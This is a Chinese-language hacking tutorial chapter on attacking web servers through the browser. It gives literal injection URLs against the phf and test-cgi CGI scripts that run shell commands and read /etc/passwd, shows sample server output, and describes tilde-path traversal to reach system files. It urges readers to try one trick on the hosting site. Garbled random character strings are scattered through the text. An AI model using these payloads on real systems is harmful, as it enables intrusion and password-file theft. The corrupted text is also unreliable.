在本章我將講述一些利用瀏覽器來進(jìn)行攻擊的方法% k$ v! ~# y" ~6 l4 G- F: `
1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個大漏洞啦,使用
/ b4 E( E4 B2 j {8 m6 {# ohttp://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:; O3 L' D/ E( L; B( h+ k" i
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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+ n- [ }6 s' U* O* [7 L% K! Shttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=- @ ]. b, W# r
haqr&Qemail=&Qnickname=&Qoffice_phone=, s1 |( f) [: F( ?
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd8 v6 h+ r3 a+ P m: Q2 ^
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=/ h1 W/ {% Z, ` [/ e+ P0 ?
http://thegnome.com/~someuser/passwd
% ^1 j3 T$ X3 c% \- ~& Ghttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
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=haqr&Qemail=&Qnickname=&Qoffice_phone=. j/ X( N" @( u. k% f3 w/ D* g
上面執(zhí)行的命令是
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ls -la ~someuser7 t+ o6 ^% I+ Q% w+ } u- P
cp /etc/passwd ~someuser/passwd
|& K$ {2 B+ l9 i* y0 Qrm ~someuser/passwd, y/ B8 S+ e0 z2 _3 g
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2。有關(guān)test攻擊& n1 D, }5 G: ^. ?+ w
http://thegnome.com/cgi-bin/test-cgi?\whatever1 W0 m( l3 ~: Z
服務(wù)器會應(yīng)答,本服務(wù)器的一些情況如:
4 f( c7 @! g( M: T7 FCGI/1.0 test script report: f# q+ R7 {% n) Y4 U5 c
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argc is 0. argv is .
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SERVER_SOFTWARE = NCSA/1.4B
, Z1 k/ H3 \- X6 ?8 e* @" ~SERVER_NAME = thegnome.com9 x5 p" |* J: p
GATEWAY_INTERFACE = CGI/1.1
! I; `/ |. k$ M, mSERVER_PROTOCOL = HTTP/1.07 {( }; [' \9 m: Q
SERVER_PORT = 80
7 W& D5 V; e* \9 @; gREQUEST_METHOD = GET
. L7 i1 p( x2 v H% S- P& h" YHTTP_ACCEPT = text/plain, application/x-html, application/html,
& f0 b' u- j: v1 O1 v4 qtext/html, text/x-html% G3 J+ X% W! p1 i* o
PATH_INFO =
/ ~/ y$ G# ~& Q0 E& n. uPATH_TRANSLATED =8 ]! N" G+ q% W% [) }+ I6 T
SCRIPT_NAME = /cgi-bin/test-cgi. S7 L, ]# O- o& J9 P% K/ i
QUERY_STRING = whatever
& L- u" F4 D6 e% }$ j H5 HREMOTE_HOST = fifth.column.gov
) k; E- a7 _/ W7 t$ n- nREMOTE_ADDR = 200.200.200.200# K, E5 f6 S2 P; _) n
REMOTE_USER =
9 w5 h- o4 ^8 WAUTH_TYPE =6 H6 q: R$ `) n3 {( n! ^8 ?, I
CONTENT_TYPE =
3 l; Z$ P) Z! b' m% `( m0 jCONTENT_LENGTH =. ?3 h$ X1 d* Q# `) G2 ?
% ~: N. r) }0 @( I1 ]3 N" {6 o好吧,讓我們來點(diǎn)趕興趣的; B' } h! {" u3 G
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd) c) d0 o# }4 T1 m; U6 a
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3。~的應(yīng)用8 w5 R: e8 M+ d: N% I8 x
~主要是用在很多的個人主頁上的快捷目錄的方法,如果我們使用這樣的~7 o! d( K/ m+ R9 I/ D
http://thegnome.com/~root2 C8 \& S* d' i( {" N
http://thegnome.com/~root/etc/passwd
7 s% U2 H! q4 ~; [7 |8 Y, y不是在任何平臺上都通過呦,在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....$ _- B( z$ t6 U4 g9 r' B" y2 q" j
看到這個站點(diǎn)了嗎,本站所在的這個站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin% N' W, E8 {* K$ r
出現(xiàn)了什么,你看到了嗎?然后...............注意請不要破壞
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